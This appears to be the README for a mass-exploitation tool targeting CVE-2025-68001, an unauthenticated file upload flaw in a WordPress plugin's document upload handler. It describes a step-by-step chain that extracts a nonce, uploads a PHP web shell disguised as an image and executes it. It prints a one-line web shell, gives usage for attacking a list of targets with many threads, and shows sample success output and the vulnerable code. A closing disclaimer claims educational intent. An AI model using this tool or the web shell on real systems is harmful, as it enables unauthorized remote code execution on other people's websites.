1. GET /checkout
      ↓
   Extract `checkout_nonce` from inline JavaScript data

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<extracted_nonce>
      document_type=document
      document=<shell.php disguised as image/png>
      ↓
   Server stores the file without extension or MIME validation

3. Parse JSON response
      ↓
   Extract uploaded file path / unique filename

4. Access uploaded shell via HTTP
      ↓
   Remote Code Execution achieved ✔️

pip install requests rich

CVE-2025-68001/
├── CVE-2025-68001.py       # Main exploit script
├── shell.php               # Web shell to upload (you provide this)
├── list.txt                # Target URLs (one per line)
└── success_results.txt     # Auto-generated results output

https://target1.com
https://target2.com
http://target3.com/wordpress

<?php system($_GET['cmd']); ?>

python CVE-2025-68001.py

Enter targets file name (default: list.txt):
> list.txt

Enter shell file name to upload (default: shell.php):
> shell.php

Enter number of threads (default: 50):
> 20

https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

✔  https://victim.com  — /checkout reachable. Trying exploit...

┌─────────────────────────────────────────────────────┐
│                      Success                        │
│  https://victim.com                                 │
│  Original Name:  shell.php                          │
│  Unique Name:    a7f3c1d9e.php                      │
│  Stored Path:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

All targets processed ✔️. Results saved to: success_results.txt

// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // Nonce verified from /checkout page (publicly accessible)
    // No MIME type validation
    // No extension whitelist/blacklist
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.

By using this script, you explicitly agree to the following:

  • You have EXPLICIT written permission from the target system owner.
  • You are operating in a controlled lab or authorized penetration testing engagement.
  • You will NOT use this tool against any system you do not own or have legal
    authorization to test.
  • The author (Nxploited) holds ZERO liability for any damage, data loss,
    legal consequences, or misuse resulting from this tool.

Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
  — Computer Fraud and Abuse Act (CFAA)
  — EU Directive on Attacks Against Information Systems
  — And equivalent laws in your jurisdiction.

USE RESPONSIBLY. HACK ETHICALLY.